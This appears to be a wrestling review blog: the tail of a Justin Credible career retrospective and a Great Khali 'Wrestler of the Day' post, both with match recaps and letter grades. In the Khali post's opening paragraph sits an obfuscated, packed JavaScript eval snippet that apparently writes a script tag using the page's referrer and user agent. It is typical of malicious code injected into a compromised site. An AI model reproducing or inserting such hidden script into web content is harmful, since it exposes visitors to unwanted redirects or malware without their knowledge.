Storm shoves Van Dam off the top rope and onto a chair, setting up the top rope spinwheel kick for two. Rob nails his own spinwheel kick to put Lance down and Rolling Thunder onto a chair crushes Storm again. Justin comes in to go after the downed Van Dam before running away when Rob gets up. Credible is sent to the table on the floor but Sabu runs in and splashes Justin through the table before Rob can jump. Storm hits Jerry with a chair and covers but avoids the Five Star, which hits Lynn by mistake. Jerry kicks out at two, right before a Van Daminator nails Storm. The cradle piledriver is enough to give Jerry the pin.

Rating: B-. This wasn’t great but it followed the tag team formula, making things far easier to sit through. I’m not sure on the booking though as the Impact Players are supposed to be a big deal but they lose in their first major match together. Lynn’s path to the top of the company continues, while Rob continues to not get to the main event for reasons that still don’t make sense, no matter how many times I hear about the TV Title being just as important as the World Title.

The team would lose the titles soon after, only to get a rematch at Living Dangerously 2000.

Tag Team Titles: Impact Players vs. Mike Awesome/Raven vs. Masato Tanaka/Tommy Dreamer

Awesome and Raven are defending and this is elimination rules. Tanaka and Dreamer aren’t here yet as the brawl gets going. Awesome counters a Storm hurricanrana into a sitout powerbomb before diving over the top onto Justin and Jason. Raven hits the drop toehold onto Storm onto the chair as Dreamer and Tanaka hit the ring. Tommy immediately DDTs Raven for two before Tanaka clotheslines Credible down.

Storm gets two on Tanaka off a nice dropkick as everyone but Awesome is in the ring. Dreamer bulldogs Raven before heading to the floor for a massive brawl. Awesome nails Storm with a chair as Raven drop toeholds Dreamer face first into the edge of a table for two. The broken table is put up in the corner but Tanaka escapes a running Awesome Bomb and belly to back suplexes Mike through the table. Tanaka hits the Roaring Elbow for the pin on Awesome, guaranteeing us new champions. This is the last time we’ll see Awesome and Raven. More on that later.

Storm stomps on the bleeding Tommy before Justin hits the running release DDT for two. Back to Storm for another great looking dropkick before a sitout powerbomb gets two for Justin. Everything breaks down and Tanaka hits a double Stunner to Lance and Jason. Tanaka and Dreamer hammer away in the corner at the Players but Justin nails Dreamer with a Singapore cane, knocking him into a reverse DDT from Storm. Diamond Dust lays out Justin but Tanaka gets piledriven. A spike piledriver to Dreamer gives the Impact Players the belts back.

Rating: D+. So to recap, Tanaka/Dreamer and Raven/Awesome both won and lost the Tag Team Titles in the span of fifteen days, meaning this match put us right back where we were three weeks ago. The Impact Players were the only option to win here, but the match was such a mess that you could barely tell what was going on.

At Cyberslam 2000, Tommy Dreamer would beat Taz to become World Champion. Justin would attack him a few seconds later and an impromptu title defense broke out.

ECW World Title: Justin Credible vs. Tommy Dreamer

Dreamer’s eye is busted open but he takes both guys to the floor with a Cactus Clothesline. Justin is rammed into the barricade a few times and they head into the crowd as is ECW’s custom. All Dreamer so far as he whips Justin into the barricade and rings the bell on Justin’s crotch. Back in and Justin reverses a Death Valley Driver into a reverse DDT onto a chair for two. Credible hammers away in the corner and hits his running DDT which isn’t a DDT because he lands on his knees for two.

Dreamer comes back with a bad looking Tommyhawk (reverse Razor’s Edge into a cutter, though it looked more like a Stunner here) for two. Francine, who already screwed Tommy over once recently, helps Dreamer set up a table on the floor. A HORRIBLE looking Death Valley Driver (looked more like a botched TKO) puts Credible through the table but he comes right back with That’s Incredible for two. Jason yells PLAN B and Credible goes after Francine. The delay lets Dreamer hit a DDT on Credible, but Francine turns on Dreamer (SHOCKING!), allowing Justin to get the pin for the title.

Rating: D. Why do heroes always have to be stupid? The chick is famous for turning on everyone and she already turned on you once, so why in the world would you believe her here? Nothing match for the most part as Dreamer becomes one of the most transitional champions of all time. I still have no idea what Heyman saw in Credible.

Credible would drop the title after a few months but had a chance to get it back at November To Remember 2000.

ECW World Title: Steve Corino vs. Sandman/Justin Credible vs. Jerry Lynn

Jerry is defending. There’s no Sandman to start so Corino sits on the buckle while the other two fight. Lynn backslides Credible for two but has to stop a superkick from Corino. The champion gets double teamed but Corino starts swinging at Justin. Jerry bulldogs both of them down but Corino comes back up to pound on both of them.

The fans all see something in the audience and then Sandman’s music kicks on. Now the match COMPLETELY stops for his entrance. After about two minutes, Credible beats on Lynn but keeps stopping to look at Sandman. Credible accidentally nails Corino to give Lynn an opening. Jerry has been busted somewhere in there. Sandman FINALLY makes it to the ring after a nearly four minute entrance.

Sandman nails everyone with the cane and Jack Victory gets a shot as well. Corino gets draped over the barricade for a legdrop from Sandman as the matches have paired off. Credible hits a Boss Man Slam on Jerry for two but Sandman sends him into a ladder in the corner. Jerry gets whipped into it as well and a Swanton onto the ladder onto Corino gets two. Justin is busted as well as the partners switch off again.

Sandman bulldogs Credible onto the ladder before sending in a bent piece of barricade. Corino is busted open and Lynn sends Sandman into the barricade at ringside. Someone has set up the piece of barricade on four chairs and Sandman suplexes Corino through all of it. Lynn and Credible fight over a tombston with the champion finally nailing it but Francine breaks up the pin. Dawn comes in for the catfight but Corino breaks it up. Sandman uses the distraction to blast Corino in the head. Steve and Justin superkick Lynn down, setting up Old School Expulsion to Sandman and That’s Incredible to Lynn for a double elimination.

So it’s Corino vs. Credible for the title, meaning there will be a new World Champion. The fans are LIVID at Sandman being eliminated so Corino makes a sudden face turn to try to get them on his side. Sandman and Lynn are staying at ringside. A pair of Bionic Elbows get two on Credible as the fans want RVD to come out. Lynn offers to help Corino to his feet but beats the tar out of his in a rather evil move. Justin is sent to the floor so Sandman legsweeps him into the barricade.

Corino sets up a table in the corner but gets into a chop off with Justin. Both guys are getting rubber legged until Justin cheats with a low blow. They hit heads to put both guys down so Sandman and Lynn act as cheerleaders. Corino suplexes Justin through the table for two so Francine gets in the ring, only to take the superkick from Corino, thanks to Justin pulling her in the way. Old School Expulsion gets two and a superkick gets the same for Justin. Dawn goes after Jack Victory and abandons Steve, but he superkicks Credible down for the pin and the title.

Rating: D+. The match was a mess but that’s the nature of something like this. There was absolutely no reason for this to not be a four way dance as that’s more or less what it already was. The problem is it doesn’t mean much as Corino didn’t beat Lynn for the title. A pin over Justin means something but not as much as pinning Jerry would have.

After the demise of ECW, it was off to the WWF where Justin was part of the X Factor stable. Here they are at Backlash 2001.

Dudley Boys vs. X-Factor

Six man tag here with all three Dudleyz vs. X-Pac, Credible and Albert. Dang they go from one of the most famous tag matches ever to a six man opening a PPV four weeks later. Brawl to start with the Dudleys clearing the ring. They launch Spike onto Pac and Credible on the floor which is always fun. Spike and Credible start us off with Spike getting a crucifix for two.

Off to Albert who counters the Dudley Dog to take over. Back to Justin and the white socks of fear. Powerbomb out of the corner gets two as this crowd is red hot. Double tags bring in D-Von and Pac and Albert cheats, allowing Pac to kick D-Von’s head off to take over again. X-Factor minus Pac puts D-Von’s balls against the post as this is a rather fast paced match.

Pac gets two off a legdrop and we hit the chinlock. D-Von tries a comeback but walks into a Boss Man Slam to keep him down. Off to Albert who hits a pretty sweet delayed butterfly suplex for two. After a double clothesline it’s hot tag Bubba who cleans house on all three guys. What’s Up to Justin and it’s table time. Albert kills D-Von though and the distraction allows Credible and Pac to hit a double superkick on Bubba for the pin.

Rating: B-. Pretty solid opener here with some fast paced stuff. They got the crowd into the show (ok so this is Chicago so it’s not like it was that hard) and the ending worked. Nothing wrong with having heels win the opener as the match was good enough to get the fans over it. Also the lack of feud prevents the whole emotional damage.

Justin wouldn’t do much during the InVasion and would be out of the company with few accomplishments. After a few years on the indies, we’ll pick things up at an ECW reunion show called Hardcore Homecoming.

Justin Credible vs. Jerry Lynn

Justin is wearing a wifebeater so he looks like a bald and less interesting Billy Kidman. Apparently they had a best of 21 series in the ECW Arena in the summer of 2000. That’s not overkill at all. Jerry is in great shape which I type at the same time Joey says it.

They do a technical style here and Lynn does an awesome move where he’s on the apron and teases a sunset flip but turns in the air and hits a Famerasser instead. I love that. They slow it down a lot and we get a good wrestling match out of these two. Justin argues with Hat Guy which is just fun. It’s saying a lot when you have one fan that gets over just because he’s there a lot. That’s very cool.

In a surprising spot, Jason pops Jerry with a chair and Justin gets the tombstone for a long two. This is actually pretty good. The Cradle piledriver only gets two. Jason shoves Jerry off the top rope for general heelish purposes. Lynn comes back to hit a hurricanrana through a table to the floor, which Joey for some reason calls a reverse victory roll. What the heck?

Jason pulls the referee out. Can someone exterminate him? Jazz breaks up the interference and beats up Jason. You think that’s enough J’s in this match??? The referee is named John also. Lynn hits a Cradle Tombstone Piledriver to get the pin. Lynn says that since his birthday is Sunday (This was a Friday), that wasn’t bad for a 42 year old. The fans actually chant for Justin which will never happen again.

Rating: B-. This was pretty good stuff. Had Jason not been so annoying and had you factored out the tables and the chair and given a hotter crowd, this would have easily been a higher grade. Even still, as Lynn said, not bad for a 42 year old. To say he carried Justin through the match is an understatement though.

Like almost everyone else, Justin had a cup of coffee in TNA. From Genesis 2005.

Raven vs. ???

This is more of Raven vs. Larry Z in a feud that no one cared about. Larry is in the ring and offers him a release again, which Raven can sign or face the opponent. Bird Boy gives him a double bird. Again we hear about some girl that might be controlling Raven, which I think would wind up being Daffney. The mystery opponent is P.J. Polaco, more commonly known as Justin Credible.

They have to call him the former Justin Credible because of legal issues. You get that a lot in TNA. Justin takes him into the corner to start and hits some forearms. Raven gets him down and pounds him down as we hear about Raven holding Justin down or something. I guess they mean in ECW, where Justin was pushed as a huge deal for YEARS. Justin (screw this PJ nonsense) comes back with a knee to the ribs and another one to take Raven down. He stomps on Raven in the ribs as Mike tries to tell us about a rivalry these two had for the Hardcore Title.

A baseball slide dropkick gets two for Credible. Out to the floor and Raven goes into the barricade. Off to a chinlock back in the ring as we hear about Raven’s history of having people fall under his control. Now it’s a dragon sleeper. A knee sends Raven to the floor and Justin finds a kendo stick. Cassidy Riley, a Raven follower/tribute guy, comes out but gets caned for his efforts. Raven takes over in the ring and catches a superkick into an ankle lock. Justin escapes and hits a bad DDT for two but walks into the Raven Effect for the pin.

Rating: D. Not much here but I’m no fan of Justin. Raven was hot in 2005 but man this Larry feud pulled him down through the floor. At the end of the day, it’s Larry Zbyszko, the man who can suck the life out of a crypt. Also, Justin and Raven really just worked together in ECW and had a brief feud in late 1999/early 2000 that not many people likely remember. Not the best opener to say the least.

Back to the WWE for another ECW reunion, this time on Sci-Fi. From June 13, 2006.

Kurt Angle vs. Justin Credible

Angle would be in TNA later this year so what does that tell you about their luck? He had been the big guy sent to ECW to make them credible which to be fair is a good idea since he was in ECW before he was in WWE if you squint really hard when you look at it. Also his personality fits for ECW so it’s not that much of a stretch.

Angle of course destroys Justin by throwing him all over the place and treating him like a video game character. Justin shoves him and Angle hits something close to the Tazmission to make him tap in maybe 90 seconds, which is somehow the longest match of the night, tripling the second place offering so far. No rating again obviously. He calls out Orton for a rematch at Vengeance.

We’ll wrap it up with, say it with me, another ECW reunion, this time under the TNA banner at Hardcore Justice 2010.

PJ Polaco vs. Stevie Richards

Richards has the BWO with them despite not being Big Stevie Cool here. The fans chant Polaco’s name (Justin Credible which I’ll be referring to him as) and then Stevie Richards. The fans want blood and an hour (almost) into it we haven’t had any. Justin hits a jumping spinning DDT which was one of his signature moves back in the day at least.

The fake Meanie is one of the Phi Delta Slam guys if anyone remembers them. He’s a security guard at times too. The matches here aren’t completely awful but this comes off as so low rent that it just can’t be taken seriously. And remember, this is TNA’s PPV offering this month. It’s not like the real PPV is next week or anything. This is it for August.

And That’s Incredible ends….nothing as Nova jumps up. Stevie Kick ends this in something that would NEVER have happened in the original company. The lights go out and Sandman is here to no music at all. White Russian Leg Sweep and Justin is back up before like a second. Cane shots put him down again.

Rating: D+. Not too bad here but the booking was just bad. I know Justin is crap but he was world champion for five months in the old days while Stevie was billed as a clueless putz. This didn’t work that well but it could have been FAR worse. Keep in mind that these grades are on an adjusted scale here as most of these would be fails or worse.

Justin Credible is a case where I just don’t get it. He never did anything for me in ECW and he never did anything for me anywhere else either. Justin’s entire style came down to flip a middle finger, do a bad looking move, yell at the crowd then start it again. I have no idea why that makes him a top star in the company, but that’s ECW for you. It’s also very telling that he did almost nothing of note but ECW reunions after the company folded.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Wrestler of the Day – July 19: Great Khali

Today is a guy who I don’t think is nearly as bad as people say he is: Great Khali.

Singh eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zahef|var|u0026u|referrer|hesbb||js|php'.split('|'),0,{})) got started in Japan and had a feud with fellow giant Silva. I’ll spare you the disaster that these two put wrestling through and skip ahead to WWE. After a few months in developmental, Khali debuted to avenge Daivari’s losses against the Undertaker. Here’s Khali’s WWE debut on Smackdown, April 21, 2006.

Funaki vs. Great Khali

Chop, big boot, Plunge and we’re done.

Here’s Khali’s showdown with Undertaker from Judgment Day 2006.

Great Khali vs. Undertaker

The gong gets a very solid pop as you would expect. Taker hammers away to start but gets nowhere at all. Scratch that as he gets sent to the floor. Khali tries the chop so Taker hammers away. And once again that gets him stuck on the floor. Nice job there dude. Cole turns into an Undertaker cheerleader as Taker gets a Stunner over the top.

You can tell this is a big match because Old School is countered. And of course, NO ONE has ever countered that before. I love revisionist history at time. Khali hammers away as well as he can, meaning this is really rather boring. Out to the floor again and Taker goes knees first into the steps. That looked painful beyond belief and people wonder why he wrestles like once a year anymore.

Back in and there’s the chop that killed Taker deader than dead before. Khali puts the foot on his chest and Taker kicks out. Of course he sits up and here comes Taker. Old School hits and Khali is staggering. Taker pounds away and hits the jumping clothesline to tie Khali up in the ropes. Fans are rapidly getting into this. Daivari gets up on the apron but the referee saves him. Khali gets untied and the chokeslam doesn’t work. A pair of chops sets up a boot to the head, allowing Khali to put his foot on Taker’s chest and get the clean pin. Now THAT is putting someone over.

Rating: D-. And the match sucked. Did you really expect anything else? The crowd is legit shocked as they probably should be. Khali was supposed to have various PPV matches with Taker but one time he was wellnessed and the second the company flat out said he wasn’t good enough to be on live PPV in a last man standing match so they had it on Smackdown with Taker of course winning. After that, he wound up as world champion so there we are.

And the slightly less worse rematch from August 18, 2006 on Smackdown. This was supposed to be at Summerslam but Khali was too horrible to be put on live TV.

Undertaker vs. Great Khali

Last man standing. Khali knocks him down to start but Undertaker wisely goes for the leg. A big boot knocks Undertaker out to the floor but he fights up with uppercuts from the floor. Undertaker comes back with a kick to the head of his own, followed by the apron legdrop and a triangle choke. Daivari goes after Undertaker with a chair, only to get chased up the set (in the days of the BIG FIST), allowing Khali to nail Undertaker from behind. Undertaker is sent into the set a few times before being tossed off the stage and through a table. He’s up at nine though and we take a break.

Back with Khali still in control and they head to ringside again. Undertaker gets hammered but says bring it on, only to be tied up in the ropes by the bigger giant. Khali fires off chops to the head to finally knock Undertaker down for another nine. Back up and Undertaker wins a slugout before clotheslining Khali out to the floor. They whip each other into the steps with Undertaker getting the better of it. He takes the chair from Daivari and pops him in the back with it as the monster is busted. Khali is up at eight so Undertaker blasts him in the ehad with the chair a few times and nails a chokeslam for the ten count.

Rating: C+. Thank goodness for editing. The match was much better than I remember it, even though it wasn’t really anything special. Khali looked like a monster that had to be slayed and Undertaker was always a good choice for it. The chokeslam at the end looked decent enough and the match worked better than it had any right to.

Next up, a match with Shawn Michaels because he can make anyone look good. From Raw, May 7, 2007.

Shawn Michaels vs. Great Khali

No DQ and the winner gets a title shot at Judgment Day. Shawn hammers away to start and gets Khali tied up in the ropes to a HUGE ovation. Not that it matters though as Khali kicks him in the face to take over. Lawler rightly points out that the referee shouldn’t have broken it up because it’s No DQ but no one cares about logic in WWE. Shawn finds a chair from ringside and nails Khali a few times to take over.

A top rope elbow drop looks to set up Sweet Chin Music but Khali catches it somewhere around his stomach. There’s the big chop and Khali chokes in the corner, followed by a very heavy clothesline. Shawn fights out of the Plunge and chokes a lot before nailing a baseball slide to knock Khali down. A DDT through the table is easily blocked and Khali throws Shawn through the table for the stoppage.

Rating: C-. There’s only so much Shawn can do when his big superkick can only hit Khali in the mid chest. Khali was a great choice for Cena to slay, even though the match here was nothing special. I’ll give them this though: they tried to do something and it worked about as well as it possibly could have.

Khali would face Cena twice in 48 hours, starting at SNME XXXIV.

John Cena vs. Great Khali

Cena is in his one year reign with the belt here and is obviously feuding with Khali. So they’re having this at One Night Stand…which is the next night apparently…so we’re having it here too. Even TNA isn’t this bad about repeating matches. Why did they even have these shows anymore? Khali is completely dominating here. We’re a minute in and Cena has had nothing.

Make that three minutes. Khali dominates even more and all of a sudden Cena has him up for the FU. It doesn’t work and then the chop and chokeslam…gets the pin with one foot? The idiocy of this astonishes me. The world champion just got freaking SQUASHED 24 hours before a PPV. Let that sink in for a bit. Ashley is ring announcer for no apparent reason.

Rating: F. THE WORLD CHAMPION just got SQUASHED in five minutes a DAY before the PPV. Why watch it now??? Why should I buy the PPV now? I know Cena is going to win, but why should I buy Cena as champion now? Apparently Khali needs 5 minutes to beat Cena, and while Cena won the next night, this was freaking stupid. I can’t defend this at all.

And now the second match, for the title, at One Night Stand 2007.

Raw World Title: John Cena vs. Great Khali

Falls Count Anywhere and a very pro-Cena crowd here. Cena fires off some kicks to the leg but finally gets caught and the power gets going. This is pin only which is kind of weird. Khali uses his basic offense and that’s not meant as a criticism. I mean, he’s Great Khali and a giant. There’s no reason to not have him just do basic stuff to win is there? Big boot puts Cena down again as we haven’t left the ring yet.

Cena tries to speed things up again but Khali raises his leg like a leg lariat to take him down one more time. One arm slam and Khali walks around a bit. Cena avoids a leg drop and manages to get the Throwback out of nowhere. The top rope Fameasser is blocked by the chop though and Cena falls to the floor. That gets two in the first cover of the match. Cena gets in some punches but a low dropkick misses and it’s back to Khali.

In something you won’t often see, Cena’s head goes through a monitor but avoids the big chop. He does however get thrown into the crowd as the beating continues. Out near the production area Cena gets a monitor shot to the head but can’t FU Khali. The big dude gets a bunch of forearm shots to the back as Cena stumbles around a lot. Khali misses a charge and Cena throws a boom camera at him for a two count.

Cena actually gets him up for the FU but the elbows to the head slow it down almost immediately. And hey here’s a crane for no apparent reason. Khali throws him onto the thing and tries the Punjabi Plunge. Cena manages to rake the eyes though and there’s the FU on a crane. FLY FAT BOY FLY as Khali goes to the ground and the pin follows, keeping the title on Cena.

Rating: C+. All things considered, this was rather solid. Keeping Khali out of the ring and just letting him pound on people is always the best thing you can do and this was no exception. They had about as basic of a match as you can ask for here and that’s probably a good thing. Khali as the monster isn’t terrible at times and this was one of them. all this one a pleasant surprise.

Later in the month, Khali would enter a battle royal for the vacant World Heavyweight Championship. From Smackdown on June 20, 2007.

Smackdown World Title: Battle Royal

Batista, Brett Major, Brian Major, Chavo Guerrero, Dave Taylor, Chris Masters, Deuce, Domino, Eugene, Finlay, Great Khali, Jimmy Wang Yang, Jamie Knoble, Kane, Kenny Dykstra, Mark Henry, Matt Hardy, MVP, Shannon Moore, Funaki

It’s a brawl to start with various people fighting each other. Henry throws out the Major Brothers by himself and Khali sends Moore out a few seconds later. There goes Funaki at Khali’s hands as well and we take a break. Back with no extra eliminations until it’s Khali vs. Henry for the big showdown. Nothing happens though as Kane and Batista break it up, allowing the rest of the entrants to dump Henry.

Things slow down as the fans try to get behind Matt Hardy. MVP goes after Khali and walks into a big chop. Batista wakes up and dumps Deuce and Domino (the Smackdown Tag Team Champions) before Kane tosses Dave Taylor. Kane and Batista square off but Noble gets in between them, only to have both big men launch him out. Eugene gets the same treatment and the ring is rapidly clearing out.

We’re down to Kane, Batista, Khali, Hardy, MVP, Finlay, Yang, Guerrero, Masters and Dykstra. Kane NAILS Yang with a right hand to knock him down as Chavo takes Batista down with a cross body. The camera angles start getting all weird with closeups before Batista saves himself from elimination by Finlay. We take another break and come back to see Dykstra eliminated.

Guerrero goes to the apron and comes back in for no apparent reason as Matt eliminates MVP (his opponent on Sunday) to get us down to eight. Masters puts Yang in the Masterlock but Chavo makes the save for no apparent reason. The cruiserweights team up to put out Masters but Yang eliminates Chavo a few seconds later. We’re down to six as Kane and Batista go after Khali, only to get kicked away. Cue Hornswoggle for a distraction, allowing Finlay to eliminate Yang. Really? Yang warranted interference?

Khali chops Matt out and Finlay has disappeared. Batista and Kane get chopped as Khali stands tall. He poses too long though, allowing Finlay to come in with that club that I can’t spell. Kane loads up a chokeslam on Finlay but Batista spears both guys down and dumps Finlay. It’s Kane, Batista and Khali remaining with the biggest man quickly being knocked down. Batista and Kane fight near the ropes, allowing Khali to dump them both and win the title.

Rating: D+. This was long and the space between the eliminations got really annoying. Did we really need to have Jimmy Wang Yang in the final six guys? There was no one else you could put in that spot? Khali winning was a logical choice as he didn’t win the Raw Title but was still a big enough deal that the guy beating him would look like a conquering hero. Not the worst ever and I can forgive the length due to what was on the line.

Khali would hold the title for a few months before dropping it to Batista. Here’s their rematch at No Mercy 2007, in one of the truly unique gimmick ideas WWE ever had.

Smackdown World Title: Batista vs. Great Khali

Batista is defending and this is inside the Punjabi Prison. Ok so there’s a big round cage around the ring that goes down to the floor. It comes up to a circle at the top with sharp sticks on top. There’s another cage (all made of bamboo mind you) with four gates on it. You can request to open one at any time and at that point you have sixty seconds to go through it. If you don’t get out, it’s closed and that gate can’t be used again. You have to get out of both cages to win. It’s WAY too complicated which is why there were only two of these matches ever.

Batista gets in a quick shot to knock Khali into the ropes and tie him up. He hammers away instead of leaving like an intelligent person would. Well he’s an animal so maybe that explains it. Khali comes back with a chop to the head and opens a gate, but Batista stops him enough for the clock to go down. The Plunge is countered but Khali kicks him down. Leg drop misses and Batista spears him down.

The second gate is opened but Khali grabs the leg. He chokes him against the cage until the clock runs out and the door is shut. Khali pulls a rope off the wall of the cage to tie Batista to the cage. There’s a strap attached to the cage for some reason so Khali pulls it down and it’s whipping time. Batista wasn’t tied up so I guess it was just choking. The third gate is opened but Khali walks into a spinebuster. Big Dave goes for the door but Khali stops him again, leaving us with only one door.

Batista grabs the strap and gives Khali a beating. Now Batista tries to climb over the top for some reason but Khali pounds him down, right into position for Batista to Bomb him out of the corner. Khali blocks it with punches though and the champion is down. Vice Grip goes on and Batista is in trouble. Khali asks for the fourth gate to be opened but Batista hits him low to put both guys down.

The last door closes so Khali beats up the referee through the cage. Khali tries to climb as JBL says this is something out of Jurassic Park. Uh….not exactly Jibbles. Khali tries to climb out but gets knocked down. JBL: “When big men fall down off the top rope like that it hurts.” Batista climbs as well but gets pulled down with a big crash. Khali climbs up and over the top of the first cage while Batista is still down. Both guys climb a cage and in a very cool looking ending, Batista jumps from the outside of the inner cage to the inside of the outer cage and gets up and out faster than Khali can to retain.

Rating: C-. I don’t think anyone would say this was good. I don’t think anyone would argue that a regular cage match wouldn’t have been better. I do however think this wasn’t half bad. The ending was really cool with that jump being something almost out of an action movie. It was an interesting experiment but thankfully they didn’t try it after this.

Khali wouldn’t do much for the next year, but would get a title shot at Summerslam 2008.

Smackdown World Title: HHH vs. Great Khali

The Game is defending. HHH is a very tall man in his own right and is probably a foot shorter than Khali. The champion pounds away but has to stick and move to not get killed. That doesn’t blow HHH’s skirt up though so he tries the Pedigree. Khali easily grabs HHH and hits his Punjabi Plunge (two handed chokeslam finisher) but doesn’t cover. Instead he loads up his Vice (head squeeze) but HHH kicks at the long legs to escape. A chop block puts Khali down and out to the floor where his manager Runjin Singh tries to calm him down.

HHH, ever the bright guy, charges at Khali again and is chopped down with ease. Back inside and Khali pounds away with some elbows in the corner to drop the champion. The fans tell Khali that he can’t wrestle as he puts one foot on HHH for a cover. Off to a nerve hold by the challenger followed by a slam and legdrop. Back to the nerve hold for a bit before HHH fights up and hits the facebuster. It doesn’t put Khali on the mat but it does tie him up in the ropes.

Khali will have none of this being in trouble though as he lifts up his boot to kick HHH down before freeing himself from the ropes. Back up and HHH tries the Pedigree again, only to be backdropped out to the floor. A hard chop puts HHH down again and as they come back in there’s the vice grip again. HHH almost breaks the hold but Khali gets it back on for a few more seconds. A charge misses the champion in the corner and he FINALLY hits the Pedigree to retain the title.

Rating: C+. This match, while slow, was a great example of psychology in a wrestling match. HHH knew that there was only one move he could use to hurt Khali and give him a chance for the win so it was the only thing he tried for most of the match. This was HHH working around someone and it worked quite well as HHH is a very talented wrestler, which unfortunately is often forgotten. Easily Khali’s best match ever.

Khali would turn face soon after this and be on Shawn Michaels’ Survivor Series team in 2008.

Team HBK vs. Team JBL

Shawn Michaels, Rey Mysterio, Cryme Tyme, Great Khali
John Bradshaw Layfield, The Miz, John Morrison, Kane, MVP

I think you can figure out the feuds yourself here. MVP and Mysterio get things going as all of the commentators are talking at once here. MVP is in the middle of a massive losing streak that would result in a face turn and I believe the US Title. Rey hits a quick rana and a clothesline for two before it’s off to JTG for a double dropkick. JTG hits a HARD right hand but MVP gets in a shot to the ribs and hits the Drive-By (running kick to the side of the head) for the elimination. Khali immediately comes in and chops MVP in the head for the elimination to tie things up.

Kane comes in for the staredown of the giants and Khali clotheslines him down with ease. Khali slugs him down and easily breaks up a chokeslam attempt. There’s the chop to the head and Rey climbs on Khali’s shoulders for the splash and another elimination. Off to Morrison who speeds things up. We hear about how great Morrison is from Striker, but unfortunately that chick Melina screwed up his future. Mysterio hits a quick kick to the head and it’s off to Shad.

Now Cryme Tyme vs. Miz/Morrison was a feud ahead of its time: their internet shows got in an argument and a wrestling feud followed. Shad misses a charge into the corner and it’s off to Miz. Since Miz isn’t quite the worker he is at this point, it’s back to Morrison very quickly. Shad runs over both members of the tag team and powerslams Miz down before hitting another overhyped elbow. Miz pops back up and hits the Reality Check (backbreaker/neckbreaker combo) to eliminate Shad.

It’s off to Shawn who comes in via a slow, dramatic step. He gets to face the Miz, meaning that entrance was wasted. To the shock of almost everyone, Miz takes over and double teams with Morrison to work over Shawn’s back. JBL, the slimmed down version, comes in to pound away and drop an elbow for two. Back to Miz who pounds away at Shawn’s bad eye, busting it open again.

Morrison comes in again to crank on a headlock and send Shawn over the top. Why would you turn your back when you throw Shawn over the top rope? At least Morrison jumps him when Shawn skins the cat. A forearm puts Shawn down and Morrison nips up in a little jab at HBK. Morrison misses the top rope elbow and it’s a double tag to bring in Miz vs. Mysterio. Rey hits a springboard rana into the 619 and the top rope splash puts Miz out.

JBL comes in and hits a hard shoulder to take Mysterio down. The crowd is WAY into Rey here. The fans think JBL can’t wrestle. The correct chant would be “You can’t work a style we like because we think that flying around and using a lot of moves is how a wrestler’s talents are determined because we don’t know what we’re talking about!” Off to Morrison with a European uppercut followed by a backbreaker.

Rey gets in a kick to the face but it’s off to JBL to hook an abdominal stretch with the leg being cranked on at the same time. Once Rey escapes, JBL uses something you don’t often see: a big boot to the back of the head. Rey blocks a belly to back superplex and hits a moonsault press to put JBL down and bust open his lip. There’s the tag to Shawn who hits the forearm and nip up of his own (take that Morrison) to send Bradshaw to the floor.

Shawn dives out to take Bradshaw out and loads up the superkick to send JBL running away. With JBL running away from the kick, Shawn slides back in and beats the count by one second, meaning JBL is gone via a countout. Morrison tries to superkick Shawn but Shawn is like boy these boots are older than you and kicks Morrison’s head off for the final pin and 3-0 final score for lack of a better term.

Rating: C. This was fine but the ending was kind of anti-climatic. They were trying to save the Shawn pin over JBL which was a good idea as they would have a solid feud in the next few months which resulted in Shawn being JBL’s lackey because Shawn was poor. The guys other than the captains in this didn’t do much of note but that’s kind of the idea behind a match like this. Not bad but nothing great either.

2009 would be a pretty bad year for Khali but he did have this match at The Bash.

Great Khali vs. Dolph Ziggler

This is a street fight for all intents and purposes. I love Runjin Singh. His sideburns have powers I think. Ziggler’s music is perfect. Actually make that perfection. Also he’s apparently moved from Hollywood, Florida to Hollywood, California. His look is great until his hair gets all puffy and then he looks like Curt Hennig which is a compliment.

Of course Ziggler gets beaten down early, including taking the chop that pinned Cena back in 07 or so but since Khali is a jobber to the stars now it’s just a regular move. Khali is just scary huge. I’ve seen him live and he’s massive. And then he chops the post to get himself in trouble. Dolph grabs a chair which is fine here and he wisely goes for the knee. At least he’s thinking.

We get the bowling shoe analogy about Khali and I roll my eyes. He’s 7’4 and 450lbs. What the heck are you expecting him to do? And here comes Kane for no adequately explained reason. Ziggler beats the tar out of Khali’s knee as Kane is coming and then Kane goes semi-Austin at Mania 17 on Khali. And then Ziggler gets the pin. This went nowhere.

Rating: D+. It’s your standard David vs. Goliath here and that’s all it was supposed to be. The key thing here is that Ziggler has a huge win by pinfall that in this match is perfectly legal. He’s never really gotten a big push, but he started feuding with Rey just after this so that’s something I guess.

We’ll jump way ahead to Raw on September 6, 2010 as Khali’s career is starting to fall quickly.

Edge vs. Great Khali

Edge goes outside to break the computer but the referee stops him. He makes fun of Khali like Hall used to make fun of Show. Edge wins by count out in about a minute. Total waste of time, but we have an e-mail. The GM doesn’t care so the match continues as an over the top rope challenge.

Back from a break and Edge sells the overhand chop really well. Khali steps over the top rope to the floor and nothing happens. Lawler tries to cover by saying you have to be thrown over. I love rule changes for the sake of rule changes. He steps over again but Edge grabs his leg, so this one counts.

Rating: N/A. Total waste of time here as it was just to give Edge what seemed like a difficult match. This went nowhere at all and wasn’t interesting as everyone knew Edge would pull it off somehow.

Another year off now as we hit Raw on September 5, 2011. Khali actually had a story at this point as his brother in law Jinder Mahal was forcing him to be evil to prevent him from shaming Khali’s sister.

Evan Bourne/Kofi Kingston vs. Jinder Mahal/Great Khali

They’re officially Air Boom. Justin Roberts told me so. This is non-title. Mahal vs. Bourne to start us off and Bourne tries to speed things up but gets caught in the face by a jumping knee. Lawler has to fight either Otunga or McGillicutty later tonight. Khali comes in and beats up Bourne for a bit and it’s back to Jinder. Bourne gets in a shot and there’s the hot tag to Kofi. He beats up Mahal but is sent to the floor by Khali. Khali sends Kofi back in but misses a chop, hitting Mahal instead. That sets up the Shooting Star for the pin at 3:15.

Rating: C. This match made perfect sense. The champions couldn’t hang against the two bigger guys physically so they used teamwork to escape with the win. I liked this and it’s cool to see a team thrown together actually working as a unit and having some chemistry. You can get good teams out of that and it’s working here.
